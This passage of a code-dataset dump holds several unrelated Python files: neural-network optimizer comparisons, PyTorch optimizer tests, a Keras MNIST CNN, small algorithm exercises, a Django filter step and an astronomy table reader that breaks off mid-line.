X_batch = X_train[batch_index*batch_size: (batch_index+1)*batch_size,]\n T_batch = T_train[batch_index*batch_size: (batch_index+1)*batch_size,]\n A_batch, Y_batch = forward(X_batch, W0, b0, W1, b1)\n # gradient updates\n gW1 = J_derivative_W1(T_batch, Y_batch, A_batch) + reg * W1\n gb1 = J_derivative_b1(T_batch, Y_batch) + reg * b1\n gW0 = J_derivative_W0(T_batch, Y_batch, W1, A_batch, X_batch) + reg * W0\n gb0 = J_derivative_b0(T_batch, Y_batch, W1, A_batch) + reg * b0\n # 1st moment updates\n mW1 = beta1 * mW1 + (1-beta1) * gW1\n mb1 = beta1 * mb1 + (1-beta1) * gb1\n mW0 = beta1 * mW0 + (1-beta1) * gW0\n mb0 = beta1 * mb0 + (1-beta1) * gb0\n # 2nd moment updates\n vW1 = beta2 * vW1 + (1-beta2) * gW1 * gW1\n vb1 = beta2 * vb1 + (1-beta2) * gb1 * gb1\n vW0 = beta2 * vW0 + (1-beta2) * gW0 * gW0\n vb0 = beta2 * vb0 + (1-beta2) * gb0 * gb0\n # corrections\n corr1 = 1 - beta1 ** t\n corr2 = 1 - beta2 ** t\n mW1_c = mW1 / corr1\n mb1_c = mb1 / corr1\n mW0_c = mW0 / corr1\n mb0_c = mb0 / corr1\n vW1_c = vW1 / corr2\n vb1_c = vb1 / corr2\n vW0_c = vW0 / corr2\n vb0_c = vb0 / corr2 \n # t update\n t += 1\n # gradient descent\n W1 -= lr0 * mW1_c / np.sqrt(vW1_c + eps)\n b1 -= lr0 * mb1_c / np.sqrt(vb1_c + eps)\n W0 -= lr0 * mW0_c / np.sqrt(vW0_c + eps)\n b0 -= lr0 * mb0_c / np.sqrt(vb0_c + eps)\n '''\n if (batch_index % print_period) == 0:\n _, Y_validation = forward(X_test, W0, b0, W1, b1)\n j = J(T_test, Y_validation)\n J_adam.append(j)\n acc = accuracy(predict(Y_validation), t_test)\n accuracy_adam.append(acc)\n print('Epoch {}\\t batch_index {}\\t iteration {} : cost {}\\t accuracy: {}\\t'.format(epoch, batch_index, epoch * batch_index, j, acc))\n '''\n _, Y_final_test = forward(X_test, W0, b0, W1, b1)\n print('Final accuracy with Adam: {}'.format(accuracy(predict(Y_final_test), t_test)))\n print('Execution time with Adam: {}\\n'.format(datetime.now() - t0))\n\n # 2. RMSProp with momentum\n W0 = W0_0\n b0 = b0_0\n W1 = W1_0\n b1 = b1_0\n \n decay_rate = 0.999\n mu = 0.9\n\n cW1 = 1\n cb1 = 1\n cW0 = 1\n cb0 = 0\n \n vW1 = 0\n vb1 = 0\n vW0 = 0\n vb1 = 0\n\n t0 = datetime.now()\n J_rmsprop_momentum = []\n accuracy_rmsprop_momentum = []\n for epoch in range(max_iter):\n for batch_index in range(nb_batches):\n X_batch = X_train[batch_index*batch_size:(batch_index+1)*batch_size,]\n T_batch = T_train[batch_index*batch_size:(batch_index+1)*batch_size,]\n A_batch, Y_batch = forward(X_batch, W0, b0, W1, b1)\n\n # gradient_update\n gW1 = J_derivative_W1(T_batch, Y_batch, A_batch) + reg * W1\n gb1 = J_derivative_b1(T_batch, Y_batch) + reg * b1\n gW0 = J_derivative_W0(T_batch, Y_batch, W1, A_batch, X_batch) + reg * W0\n gb0 = J_derivative_b0(T_batch, Y_batch, W1, A_batch) + reg * b0\n # cache update\n cW1 = decay_rate * cW1 + (1 - decay_rate) * gW1 * gW1\n cb1 = decay_rate * cb1 + (1 - decay_rate) * gb1 * gb1\n cW0 = decay_rate * cW0 + (1 - decay_rate) * gW0 * gW0\n cb0 = decay_rate * cb0 + (1 - decay_rate) * gb0 * gb0\n # momentum updates\n vW1 = mu * vW1 + (1 - mu) * lr0 * gW1 / np.exp(cW1 + eps)\n vb1 = mu * vb1 + (1 - mu) * lr0 * gb1 / np.exp(cb1 + eps)\n vW0 = mu * vW0 + (1 - mu) * lr0 * gW0 / np.exp(cW0 + eps)\n vb0 = mu * vb0 + (1 - mu) * lr0 * gb0 / np.exp(cb0 + eps)\n # gradient descent\n W1 -= vW1\n b1 -= vb1\n W0 -= vW0\n b0 -= vb0\n '''\n if (batch_index % print_period) == 0:\n _, Y_validation = forward(X_test, W0, b0, W1, b1)\n j = J(T_test, Y_validation)\n J_rmsprop_momentum.append(j)\n acc = accuracy(predict(Y_validation), t_test)\n accuracy_rmsprop_momentum.append(acc)\n print('Epoch {}\\t batch_index {}\\t iteration {} : cost {}\\t accuracy: {}\\t'.format(epoch, batch_index, epoch * batch_index, j, acc))\n '''\n _, Y_final_test = forward(X_test, W0, b0, W1, b1)\n print('Final accuracy with RMSProp with momentum: {}'.format(accuracy(predict(Y_final_test), t_test)))\n print('Execution time with RMSProp with momentum: {}\\n'.format(datetime.now() - t0))\n\n plt.plot(J_adam, label='adam')\n plt.plot(J_rmsprop_momentum, label='rmsprop with momentum')\n plt.legend()\n plt.show()\n\nif __name__ == '__main__':\n main()\n","sub_path":"Modern practical Deep Networks/Optimization(training)/adam.py","file_name":"adam.py","file_ext":"py","file_size_in_byte":6483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"494252242","text":"\"\"\"\r\nInput;:\r\n7\r\nUK\r\nChina\r\nUSA\r\nFrance\r\nNew Zealand\r\nUK\r\nFrance\r\n\r\n7 is the number of countries as input.\r\n\r\nAns: 5\r\n\r\n\"\"\"\r\n#Solution 2 is better because it does not check the whole list to find the count.\r\n\r\n\r\ndef count_country1(no,inp):\r\n s = []\r\n for x in inp:\r\n if x not in s:\r\n s.append(x)\r\n\r\n print(len(s))\r\n\r\n\r\ndef count_country2(no,inp):\r\n res = []\r\n res = list(set(inp))\r\n print(len(res))\r\n\r\n\r\nif __name__ == '__main__':\r\n no = input()\r\n n = int(no)\r\n inp = []\r\n for i in range(0, n):\r\n inp.append(input())\r\n count_country2(n,inp)","sub_path":"Count_of_distinct_inp.py","file_name":"Count_of_distinct_inp.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"415767037","text":"\"\"\" Given a number key, return all branches where sum == k \"\"\"\n\nfrom binary_tree import Btree\n\ndef branch_sum(btree, k):\n\tdef recursive(node, path):\n\t\tif node is None:\n\t\t\treturn\n\t\tpath.append(node.value)\n\t\tif sum(path) == k:\n\t\t\tif path not in result:\n\t\t\t\tresult.append(path)\n\t\telse:\n\t\t\t# Call with existing branch\n\t\t\trecursive(node.left, path.copy())\n\t\t\trecursive(node.right, path.copy())\n\t\t\t# Call with branch starting on current node\n\t\t\trecursive(node.left, [])\n\t\t\trecursive(node.right, [])\n\t\n\tnode = btree.root\n\tresult = []\n\tinitial_path = []\n\trecursive(node, initial_path)\n\treturn result\n\n\nif __name__ == '__main__':\n\tt = Btree.from_ordered_list(list(range(1,16)))\n\tprint(branch_sum(t, 5))","sub_path":"binary_tree/branch_sum_equals.py","file_name":"branch_sum_equals.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"554825445","text":"from collections import namedtuple\nfrom butler import settings\nfrom butler.jobs.workflow import Step\n\n\nFilterConfiguration = namedtuple('FilterConfiguration', [\n 'required', 'optional'\n])\n\n\nclass ModelFilter(Step):\n\n def __init__(self, model_klass, manager=None, filter_configurations=None):\n super(ModelFilter, self).__init__()\n self.model_klass = model_klass\n self.fields = {}\n\n for field in self.model_klass._meta.fields:\n self.fields[field.name] = field\n\n self.filter_configurations = filter_configurations\n self.manager = manager\n\n def run(self, request, resource, **context):\n filters = {}\n\n filter_fields = set()\n for key, value in request.GET.iteritems():\n filter_path = key.split(settings.FILTER_SEPARATOR)\n field_name = filter_path[0]\n if field_name in self.fields:\n filter_fields.add(field_name)\n filters[key] = self.fields[field_name].to_python(value)\n\n if self.filter_configurations:\n self.check_configurations(filter_fields)\n\n # get model manager priority\n # 1) from resource\n # 2) from initial kwargs\n # 3) default model manager\n resource_model_manager = getattr(resource._meta, 'model_manager', None)\n self.manager = resource_model_manager or self.manager\n if not self.manager:\n self.manager = self.model_klass.objects\n\n models = self.manager.filter(\n **filters\n )\n return {\n 'filtered': models\n }\n\n def check_configurations(self, filter_fields):\n for conf in self.filter_configurations:\n if conf.required in filter_fields:\n return\n\n raise Exception('')\n","sub_path":"butler/jobs/orm/django/steps/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"131421631","text":"import math\nimport unittest\nimport functools\nfrom copy import deepcopy\nimport torch\nimport torch.optim as optim\nimport torch.legacy.optim as old_optim\nimport torch.nn.functional as F\nfrom torch.optim import SGD\nfrom torch.autograd import Variable\nfrom torch import sparse\nfrom test_common import TestCase, run_tests\nimport p02_fashion_mnist\n\n\ndef rosenbrock(tensor):\n x, y = tensor\n return (1 - x) ** 2 + 100 * (y - x ** 2) ** 2\n\n\ndef drosenbrock(tensor):\n x, y = tensor\n return torch.DoubleTensor((-400 * x * (y - x ** 2) - 2 * (1 - x), 200 * (y - x ** 2)))\n\n\ndef wrap_old_fn(old_fn, **config):\n def wrapper(closure, params, state):\n return old_fn(closure, params, config, state)\n return wrapper\n\n\nclass TestOptim(TestCase):\n\n def _test_rosenbrock(self, constructor, old_fn):\n params_t = torch.Tensor([1.5, 1.5])\n state = {}\n\n params = Variable(torch.Tensor([1.5, 1.5]), requires_grad=True)\n optimizer = constructor([params])\n\n solution = torch.Tensor([1, 1])\n initial_dist = params.data.dist(solution)\n\n def eval():\n optimizer.zero_grad()\n loss = rosenbrock(params)\n loss.backward()\n # loss.backward() will give **slightly** different\n # gradients, than drosenbtock, because of a different ordering\n # of floating point operations. In most cases it doesn't matter,\n # but some optimizers are so sensitive that they can temporarily\n # diverge up to 1e-4, just to converge again. This makes the\n # comparison more stable.\n params.grad.data.copy_(drosenbrock(params.data))\n return loss\n\n for i in range(2000):\n optimizer.step(eval)\n old_fn(lambda _: (rosenbrock(params_t), drosenbrock(params_t)),\n params_t, state)\n self.assertEqual(params.data, params_t)\n\n self.assertLessEqual(params.data.dist(solution), initial_dist)\n\n def _test_rosenbrock_sparse(self, constructor, sparse_only=False):\n params_t = torch.Tensor([1.5, 1.5])\n\n params = Variable(params_t, requires_grad=True)\n optimizer = constructor([params])\n\n if not sparse_only:\n params_c = Variable(params_t.clone(), requires_grad=True)\n optimizer_c = constructor([params_c])\n\n solution = torch.Tensor([1, 1])\n initial_dist = params.data.dist(solution)\n\n def eval(params, sparse_grad, w):\n # Depending on w, provide only the x or y gradient\n optimizer.zero_grad()\n loss = rosenbrock(params)\n loss.backward()\n grad = drosenbrock(params.data)\n # NB: We torture test the optimizer by returning an\n # uncoalesced sparse tensor\n if w:\n i = torch.LongTensor([[0, 0]])\n x = grad[0]\n v = torch.DoubleTensor([x / 4., x - x / 4.])\n else:\n i = torch.LongTensor([[1, 1]])\n y = grad[1]\n v = torch.DoubleTensor([y - y / 4., y / 4.])\n x = sparse.DoubleTensor(i, v, torch.Size([2]))\n if sparse_grad:\n params.grad.data = x\n else:\n params.grad.data = x.to_dense()\n return loss\n\n for i in range(2000):\n # Do cyclic coordinate descent\n w = i % 2\n optimizer.step(functools.partial(eval, params, True, w))\n if not sparse_only:\n optimizer_c.step(functools.partial(eval, params_c, False, w))\n self.assertEqual(params.data, params_c.data)\n\n self.assertLessEqual(params.data.dist(solution), initial_dist)\n\n def _test_basic_cases_template(self, weight, bias, input, constructor):\n weight = Variable(weight, requires_grad=True)\n bias = Variable(bias, requires_grad=True)\n input = Variable(input)\n optimizer = constructor(weight, bias)\n\n # to check if the optimizer can be printed as a string\n optimizer.__repr__()\n\n def fn():\n optimizer.zero_grad()\n y = weight.mv(input)\n if y.is_cuda and bias.is_cuda and y.get_device() != bias.get_device():\n y = y.cuda(bias.get_device())\n loss = (y + bias).pow(2).sum()\n loss.backward()\n return loss\n\n initial_value = fn().data[0]\n for i in range(200):\n optimizer.step(fn)\n self.assertLess(fn().data[0], initial_value)\n\n def _test_state_dict(self, weight, bias, input, constructor):\n weight = Variable(weight, requires_grad=True)\n bias = Variable(bias, requires_grad=True)\n input = Variable(input)\n\n def fn_base(optimizer, weight, bias):\n optimizer.zero_grad()\n i = input_cuda if weight.is_cuda else input\n loss = (weight.mv(i) + bias).pow(2).sum()\n loss.backward()\n return loss\n\n optimizer = constructor(weight, bias)\n fn = functools.partial(fn_base, optimizer, weight, bias)\n\n # Prime the optimizer\n for i in range(20):\n optimizer.step(fn)\n # Clone the weights and construct new optimizer for them\n weight_c = Variable(weight.data.clone(), requires_grad=True)\n bias_c = Variable(bias.data.clone(), requires_grad=True)\n optimizer_c = constructor(weight_c, bias_c)\n fn_c = functools.partial(fn_base, optimizer_c, weight_c, bias_c)\n # Load state dict\n state_dict = deepcopy(optimizer.state_dict())\n state_dict_c = deepcopy(optimizer.state_dict())\n optimizer_c.load_state_dict(state_dict_c)\n # Run both optimizations in parallel\n for i in range(20):\n optimizer.step(fn)\n optimizer_c.step(fn_c)\n self.assertEqual(weight, weight_c)\n self.assertEqual(bias, bias_c)\n # Make sure state dict wasn't modified\n self.assertEqual(state_dict, state_dict_c)\n\n # Check that state dict can be loaded even when we cast parameters\n # to a different type and move to a different device.\n if not torch.cuda.is_available():\n return\n\n input_cuda = Variable(input.data.float().cuda())\n weight_cuda = Variable(weight.data.float().cuda(), requires_grad=True)\n bias_cuda = Variable(bias.data.float().cuda(), requires_grad=True)\n optimizer_cuda = constructor(weight_cuda, bias_cuda)\n fn_cuda = functools.partial(fn_base, optimizer_cuda, weight_cuda, bias_cuda)\n\n state_dict = deepcopy(optimizer.state_dict())\n state_dict_c = deepcopy(optimizer.state_dict())\n optimizer_cuda.load_state_dict(state_dict_c)\n\n # Make sure state dict wasn't modified\n self.assertEqual(state_dict, state_dict_c)\n\n for i in range(20):\n optimizer.step(fn)\n optimizer_cuda.step(fn_cuda)\n self.assertEqual(weight, weight_cuda)\n self.assertEqual(bias, bias_cuda)\n\n def _test_basic_cases(self, constructor, ignore_multidevice=False):\n self._test_state_dict(\n torch.randn(10, 5),\n torch.randn(10),\n torch.randn(5),\n constructor\n )\n self._test_basic_cases_template(\n torch.randn(10, 5),\n torch.randn(10),\n torch.randn(5),\n constructor\n )\n # non-contiguous parameters\n self._test_basic_cases_template(\n torch.randn(10, 5, 2)[..., 0],\n torch.randn(10, 2)[..., 0],\n torch.randn(5),\n constructor\n )\n # CUDA\n if not torch.cuda.is_available():\n return\n self._test_basic_cases_template(\n torch.randn(10, 5).cuda(),\n torch.randn(10).cuda(),\n torch.randn(5).cuda(),\n constructor\n )\n # Multi-GPU\n if not torch.cuda.device_count() > 1 or ignore_multidevice:\n return\n self._test_basic_cases_template(\n torch.randn(10, 5).cuda(0),\n torch.randn(10).cuda(1),\n torch.randn(5).cuda(0),\n constructor\n )\n\n def _build_params_dict(self, weight, bias, **kwargs):\n return [dict(params=[weight]), dict(params=[bias], **kwargs)]\n\n def _build_params_dict_single(self, weight, bias, **kwargs):\n return [dict(params=bias, **kwargs)]\n\n\ndef check_net(model):\n model.train()\n data = torch.autograd.Variable(torch.rand(2, 1, 28, 28)) # output from network\n target = torch.autograd.Variable((torch.rand(2) * 2).long()) # output from network\n optimizer = SGD(model.parameters(), lr=0.1)\n optimizer.zero_grad()\n # Forward prediction step\n output = model(data)\n loss = F.nll_loss(output, target)\n # Backpropagation step\n loss.backward()\n optimizer.step()\n\n\ndef test_nets():\n model = p02_fashion_mnist.Net()\n check_net(model)\n try:\n model = p02_fashion_mnist.P2Q7HalfChannelsNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q7DoubleChannelsNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q8BatchNormNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q9DropoutNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q10DropoutBatchnormNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q11ExtraConvNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q12RemoveLayerNet()\n check_net(model)\n model = p02_fashion_mnist.P2Q13UltimateNet()\n check_net(model)\n except NotImplementedError:\n pass\n\n\nif __name__ == '__main__':\n run_tests()\n","sub_path":"p02_fashion_mnist_tests.py","file_name":"p02_fashion_mnist_tests.py","file_ext":"py","file_size_in_byte":9710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"533380547","text":"import math\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\ndef approximation(x, order):\n\t#approximate e^x based on x and the number of terms in the equation\n\tapprox = 0\n\tfor index in range(order):\n\t\tapprox += x**index / factorial(index)\n\treturn approx\n\nx = range(-10, 11)\napx_3_ord = [approximation(item, 3) for item in x]\napx_10_ord = [approximation(item, 10) for item in x]\napx_50_ord = [approximation(item, 50) for item in x]\nex = [math.exp(item) for item in x]\n\nplt.plot(x,ex)","sub_path":"studio6.py","file_name":"studio6.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"65109370","text":"import numpy as np\nfrom keras.datasets import mnist\nfrom keras.utils import np_utils\nfrom keras.layers import Conv2D, MaxPool2D, Activation, Dense, Flatten\nfrom keras.optimizers import Adam\nfrom keras.models import Sequential\nfrom keras.optimizers import RMSprop\n\nnp.random.seed(1337)\n\n(X_train,y_train),(X_test,y_test) = mnist.load_data() # X_train:60000x28x28,y_train:60000\n\n# data pre-processing\nX_train = X_train.reshape(-1,1,28,28) # X_train: 60000x1x28x28\nX_test = X_test.reshape(-1,1,28,28) # X_test: 60000x1x28x28\ny_train = np_utils.to_categorical(y_train,num_classes=10) # change labels to one-hot format. y_train: 60000x10\ny_test = np_utils.to_categorical(y_test,num_classes=10) # change labels to one-hot format. y_train: 60000x10\nprint(\"X_train shape:%s, y_train shape:%s\"%(X_train.shape,y_train.shape))\nprint(\"X_test shape:%s, y_test shape:%s\"%(X_test.shape,y_test.shape))\nmodel = Sequential()\n\n# Conv layer 1 output size : 32x28x28\nmodel.add(Conv2D(\n filters = 32,\n kernel_size = 5,\n strides = 1,\n padding = 'same',\n input_shape = (1,28,28)\n))\nprint(model)\nmodel.add(Activation('relu'))\n# MaxPooling layer 1 output shape : 32x14x14\nmodel.add(MaxPool2D(\n pool_size=(2, 2),\n strides=(2, 2),\n padding='same'\n))\n# Conv layer 2 output size : 64x14x14\nmodel.add(Conv2D(\n filters = 64,\n kernel_size = 5,\n strides = 1,\n padding = 'same',\n))\nmodel.add(Activation('relu'))\n# MaxPooling layer 2 output shape : 64x7x7\nmodel.add(MaxPool2D(\n pool_size=(2, 2),\n strides=(2, 2),\n padding='same'\n))\n# Dense Layer\nmodel.add(Flatten())\nmodel.add(Dense(units=1024))\nmodel.add(Activation('relu'))\nmodel.add(Dense(units=64))\nmodel.add(Activation('relu'))\nmodel.add(Dense(units=10))\nmodel.add(Activation('softmax'))\n# optimizer\nadam = Adam(lr=1e-4)\n# compile\nmodel.compile(optimizer=adam,\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n# train network\nprint('Training...')\nmodel.fit(X_train,y_train,batch_size=20,epochs=2)\nloss,accuracy = model.evaluate(X_test,y_test)\nprint(\"\\nloss:\",loss)\nprint(\"accuracy:\",accuracy)\n# model.save('/home/liming/mnist.h5')","sub_path":"CNN/MNIST/mnist1.py","file_name":"mnist1.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"120823295","text":"#===create a list of filenames===\nx_dir=rootdir+'/OpticalFlows/video_'\nx_filenames=[x_dir+'0'*(5-len(str(vid)))+str(vid)+'_frame_'+str(frame)\\\n for vid in range(n_video) \n for frame in np.arange(2,param.N_MOVE-3,3)]\n#===create a list of filenames===\n\n#===split into train and test===\nN = len(x_filenames)\nn_train=int(p_train*N)\nind=np.random.permutation(N)\nx_train_filenames=list(np.asarray(x_filenames)[ind[0:n_train]])\nx_test_filenames=list(np.asarray(x_filenames)[ind[n_train:N]])\n#===split into train and test===\n\n#===specify size and byte number of matrices in your files===\nx_nb=4*im_h*im_w;x_size=(im_h,im_w)\n#===specify size and byte number of matrices in your files===\n\n#===creating the queue===\nx_filename_queue=tf.train.string_input_producer(x_filenames,shuffle=False) \nx_reader = tf.FixedLengthRecordReader(record_bytes=x_nb) \nx_key, x_value = x_reader.read(x_filename_queue)\nx_record_bytes = tf.decode_raw(x_value, tf.float32) \nx_im=tf.reshape(x_record_bytes,x_shape)\n\n#do the same for y (for example the labels)\n\nif shuffle==1: \n images = tf.train.shuffle_batch([x_im,y_im],\n batch_size,capacity=500,\n min_after_dequeue=100)\nelse:\n images = tf.train.batch([x_im,y_im],\n batch_size,capacity=500)\n#===creating the queue===\n\n \n \n#then during calling your network use images as follow:\nx=images[0];\ny_=images[1]\nn_r=tf.shape(x)[0]\nx=tf.reshape(x,shape=[n_r,im_h,im_w,1]); \ny_=tf.reshape(images[1],shape=[n_r*32*32,1]);\n\n#NOTE that each time you call sess.run() tf will step forward in the \n#queue for one more step\n\n ","sub_path":"GooglePushData/Code/create_TF_Queue.py","file_name":"create_TF_Queue.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"428911198","text":"import pandas as pd\nfrom astropy import table as aptbl\n\nfrom Fnc_Stk_Dir_2D import *\n\n####Fnc_Stk_Tbl_2D####\ndef split_variable_vars(split_variable):\n\tif split_variable == 'RDS' or split_variable == 'RDS_B' or split_variable == 'RDS_B_18CO':\n\t\tSplt_Col = 8\n\t\tSplt_Hdr_Cmt = 'Redshift'\n\t\tSplt_CNm = 8\n\t\tSplt_Hdr = 'RDS'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'z'\n\n\telif split_variable == 'CNT' or split_variable == 'CNT_B' or split_variable == 'CNT_B_18CO':\n\t\tSplt_Col = 8\n\t\tSplt_Hdr_Cmt = 'Redshift'\n\t\tSplt_CNm = 8\n\t\tSplt_Hdr = 'CNT'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'z'\n\telif split_variable == 'STM' or split_variable == 'STM_B' or split_variable == 'STM_B_18CO':\n\t\tSplt_Col = 24\n\t\tSplt_Hdr_Cmt = 'Stellar Mass [log(M_*/M_sun)]'\n\t\tSplt_CNm = 24\n\t\tSplt_Hdr = 'STM'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'log[$M/M_{\\odot}$]'\n\telif split_variable == 'SFR' or split_variable == 'SFR_B' or split_variable == 'SFR_B_18CO':\n\t\tSplt_Col = 22\n\t\tSplt_Hdr_Cmt = 'SFR [M_sun/yr]'\n\t\tSplt_CNm = 22\n\t\tSplt_Hdr = 'SFR'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'SFR'\n\telif split_variable == 'LCO' or split_variable == 'LCO_B' or split_variable == 'LCO_B_18CO':\n\t\tSplt_Col = 35\n\t\tSplt_Hdr_Cmt = 'CO Lum [K km/s/pc2]'\n\t\tSplt_CNm = 35\n\t\tSplt_Hdr = 'LCO'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'L$_{CO}$'\n\telif split_variable == 'sSF' or split_variable == 'sSF_B' or split_variable == 'sSF_B_18CO':\n\t\tSplt_Col = 26\n\t\tSplt_Hdr_Cmt = 'Specific SFR [1/Gyr]'\n\t\tSplt_CNm = 26\n\t\tSplt_Hdr = 'sSF'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'sSFR'\n\telif split_variable == 'MH2' or split_variable == 'MH2_B' or split_variable == 'MH2_B_18CO':\n\t\tSplt_Col = 37\n\t\tSplt_Hdr_Cmt = 'H2 mass [log(M_H2/M_sun)]'\n\t\tSplt_CNm = 37\n\t\tSplt_Hdr = 'MH2'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'M$_{H2}$'\n\telif split_variable == 'SFE' or split_variable == 'SFE_B' or split_variable == 'SFE_B_18CO':\n\t\tSplt_Col = 41\n\t\tSplt_Hdr_Cmt = 'SFE [1/Gyr]'\n\t\tSplt_CNm = 41\n\t\tSplt_Hdr = 'SFE'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'SFE'\n\telif split_variable == 'LIR' or split_variable == 'LIR_B' or split_variable == 'LIR_B_18CO':\n\t\tSplt_Col = 20\n\t\tSplt_Hdr_Cmt = 'LIR [log(L_IR/L_sun)]'\n\t\tSplt_CNm = 20\n\t\tSplt_Hdr = 'LIR'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'log[L$_{IR}$/L${_sun}$]'\n\telif split_variable == 'LFIR' or split_variable == 'LFIR_B' or split_variable == 'LFIR_B_18CO':\n\t\tSplt_Col = 11\n\t\tSplt_Hdr_Cmt = 'LFIR [log(Lfir/Lo)]'\n\t\tSplt_CNm = 11\n\t\tSplt_Hdr = 'LFIR'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'LFIR [log(Lfir/Lo)]'\n\telif split_variable == 'SDG' or split_variable == 'SDG_B' or split_variable == 'SDG_B_18CO':\n\t\tSplt_Col = 43\n\t\tSplt_Hdr_Cmt = 'Surf Dens Gas [log(M_sun/pc2)]'\n\t\tSplt_CNm = 43\n\t\tSplt_Hdr = 'SDG'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = '$\\Sigma_{Gas}$'\n\telif split_variable == 'SDS' or split_variable == 'SDS_B' or split_variable == 'SDS_B_18CO':\n\t\tSplt_Col = 45\n\t\tSplt_Hdr_Cmt = 'Surf Dens SFR [log(M_sun/yr/kpc2)]'\n\t\tSplt_CNm = 45\n\t\tSplt_Hdr = 'SDS'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = '$\\Sigma_{SFR}$'\n\telif split_variable == 'TDT' or split_variable == 'TDT_B' or split_variable == 'TDT_B_18CO':\n\t\tSplt_Col = 47\n\t\tSplt_Hdr_Cmt = 'Depletion Time [Gyr]'\n\t\tSplt_CNm = 47\n\t\tSplt_Hdr = 'TDT'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = '$\\\\tau$'\n\telif split_variable == 'MRP' or split_variable == 'MRP_B' or split_variable == 'MRP_B_18CO':\n\t\tSplt_Col = 50\n\t\tSplt_Hdr_Cmt = 'Morphology'\t\n\t\tSplt_CNm = 50\n\t\tSplt_Hdr = 'MRP'\n\t\tSplt_Hdr_Plt = split_variable\n\t\tSplt_Plt_lbl = 'Morphology'\n\telse:\n\t\tprint\n\t\tprint ('split_variable_vars')\n\t\tprint (colored('Variable '+ str(split_variable) + ' does not exist!','yellow'))\n\t\tprint\n\t\tquit()\n\treturn Splt_Col,Splt_Hdr,Splt_Hdr_Cmt,Splt_CNm,Splt_Hdr_Plt,Splt_Plt_lbl\n\ndef Table_Read_org(table_name,format_tbl,*args, **kwargs):\n\tftbl = aptbl.Table.read(table_name, format=format_tbl)\n\tc1 = ftbl['ID']\n\tc2 = ftbl['fits']\n\tc3 = ftbl['Source']\n\tc4 = ftbl['Delta_nu']\n\tc5 = ftbl['RMS']\n\tc6 = ftbl['SPW']\n\tc7 = ftbl['State']\n\tc8 = ftbl['z']\n\tc9 = ftbl['RA']\n\tc10 = ftbl['Dec']\n\tc11 = ftbl['log(Lfir/Lo)']\n\tc12 = ftbl['D_log(Lfir/Lo)']\n\tc13 = ftbl['nu_obs']\n\tc14 = ftbl['V_obs']\n\tc15 = ftbl['Vobs_err']\n\tc16 = ftbl['DV']\n\tc17 = ftbl['DV_err']\n\tc18 = ftbl['Maxis_2']\n\tc19 = ftbl['Maxis_err_2']\n\tc20 = ftbl['maxis_2a']\n\tc21 = ftbl['maxis_err_2a']\n\tc22 = ftbl['angle']\n\tc23 = ftbl['angle_err']\n\tc24 = ftbl['COFlux']\n\tc25 = ftbl['err_COflux']\n\tc26 = ftbl['D_L']\n\tc27 = ftbl['D_A']\n\tc28 = ftbl['logMstar']\n\tc29 = ftbl['er_logMstar']\n\tc30 = ftbl['Tam_Fit']\n\tc31 = ftbl['Bean_size']\n\tc32 = ftbl['Morfology_Coments']\n\tc33 = ftbl['R_petro_r']\n\tc34 = ftbl['g']\n\tc35 = ftbl['r']\n\tc36 = ftbl['mu_i']\n\tc37 = ftbl['H_i']\n\treturn(ftbl,c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12,c13,c14)\n\ndef Table_Read(table_name,format_tbl,*args, **kwargs):\n\tftbl = aptbl.Table.read(table_name, format=format_tbl)\n\tc1 = ftbl['ID']\n\tc2 = ftbl['fits']\n\tc3 = ftbl['Source']\n\tc4 = ftbl['Delta_nu']\n\tc5 = ftbl['RMS']\n\tc6 = ftbl['SPW']\n\tc7 = ftbl['State']\n\tc8 = ftbl['z_1']\n\tc9 = ftbl['RA']\n\tc10 = ftbl['Dec']\n\tc11 = ftbl['log(Lfir/Lo)']\n\tc12 = ftbl['D_log(Lfir/Lo)']\n\tc13 = ftbl['nu_obs']\n\tc14 = ftbl['V_obs']\n\tc15 = ftbl['GAMA_ID']\n\tc16 = ftbl['SOURCE']\n\tc17 = ftbl['RAJ2000']\n\tc18 = ftbl['DECJ2000']\n\tc19 = ftbl['z_2']\n\tc20 = ftbl['log[L_IR/L_sun]']\n\tc21 = ftbl['c7_err']\n\tc22 = ftbl['SFR']\n\tc23 = 